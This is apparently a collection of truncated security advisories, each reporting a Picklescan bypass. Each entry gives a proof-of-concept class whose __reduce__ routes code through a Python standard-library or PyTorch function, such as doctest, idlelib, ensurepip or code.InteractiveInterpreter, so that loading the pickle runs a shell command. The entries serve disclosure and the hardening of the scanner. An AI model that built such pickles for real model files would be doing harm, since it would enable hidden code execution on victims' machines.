#rce

### Summary Using doctest.debug_script function, which is a built-in python library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to doctest.debug_script function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` from doctest import debug_script class EvilDoctestDebugScript: def __reduce__(self): # debug_script(src, pm=True) -> exec(src, ...) return debug_script, ("__import__('os').system('whoami')", True) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetect...

### Summary Using idlelib.pyshell.ModifiedInterpreter.runcode function, which is a built-in python library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to idlelib.pyshell.ModifiedInterpreter.runcode function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` from idlelib.pyshell import ModifiedInterpreter from types import SimpleNamespace class EvilIdlelibPyshellModifiedInterpreterRuncode: def __reduce__(self): payload = "__import__('os').system('whoami')" fake_self = SimpleNamespace( locals={}, tkconsole=SimpleNamespace( executing=False, beginexecuting=str, cancele...

### Summary Using idlelib.pyshell.ModifiedInterpreter.runcommand function, which is a built-in python library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to idlelib.pyshell.ModifiedInterpreter.runcommand function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` from idlelib.pyshell import ModifiedInterpreter from types import SimpleNamespace class EvilIdlelibPyshellModifiedInterpreterRuncommand: def __reduce__(self): payload = "__import__('os').system('whoami')" fake_self = SimpleNamespace( locals={}, tkconsole=SimpleNamespace(executing=False), rpcclt=None, debugger=None ) ...

### Summary Using idlelib.run.Executive.runcode function, which is a built-in python library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to idlelib.run.Executive.runcode function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` from idlelib.run import Executive from types import SimpleNamespace class EvilIdlelibRunExecutiveRuncode: def __reduce__(self): payload = "__import__('os').system('whoami')" fake_self = SimpleNamespace(locals={}) return Executive.runcode, (fake_self, payload) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. Wha...

### Summary Using lib2to3.pgen2.pgen.ParserGenerator.make_label function, which is a built-in python library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to lib2to3.pgen2.pgen.ParserGenerator.make_label function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` from types import SimpleNamespace from lib2to3.pgen2.pgen import ParserGenerator class EvilLib2to3Pgen2ParserGeneratorMakeLabel: def __reduce__(self): c = SimpleNamespace(labels=[], keywords={}, tokens={}) label = '""+__import__(\'os\').system(\'whoami\')' return ParserGenerator.make_label, (None, c, label) ``` ### Impact Who is impacted? Any organization or individual ...

### Summary Using ensurepip._run_pip function, which is a built-in python library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to ensurepip._run_pip function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` from ensurepip import _run_pip class EvilEnsurepipRunpip: def __reduce__(self): payload = "[(__import__('os').system('whoami'),)]" return _run_pip, (payload,) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loa...

### Summary Using torch.utils.bottleneck.\_\_main\_\_.run_autograd_prof function, which is a pytorch library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to torch.utils.bottleneck.__main__.run_autograd_prof function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` import torch.utils.bottleneck.__main__ as bottleneck_main class EvilTorchUtilsBottleneckRunAutogradProf: def __reduce__(self): code = '__import__("os").system("whoami")' globs = {} return bottleneck_main.run_autograd_prof, (code, globs) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorc...

### Summary Using idlelib.calltip.get_entity function, which is a built-in python library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to idlelib.calltip.get_entity function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` from idlelib.calltip import get_entity class EvilCalltipGetEntity: def __reduce__(self): # get_entity(expression) -> eval(expression) return get_entity, ("__import__('os').system('whoami')",) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains un...

### Summary Using idlelib.calltip.Calltip.fetch_tip, which is a built-in python library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to idlelib.calltip.Calltip.fetch_tip function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` class EvilCalltipFetchTip: def __reduce__(self): from idlelib.calltip import Calltip # fetch_tip(expression) -> get_entity(expression) -> eval(expression) return Calltip().fetch_tip, ("__import__('os').system('whoami')",) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed mal...

### Summary Using code.InteractiveInterpreter.runcode, which is a built-in python library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to code.InteractiveInterpreter.runcode function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` class EvilCodeRuncode: def __reduce__(self): from code import InteractiveInterpreter # InteractiveInterpreter().runcode(cmd) -> exec(cmd) return InteractiveInterpreter().runcode, ("__import__('os').system('whoami')",) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed mal...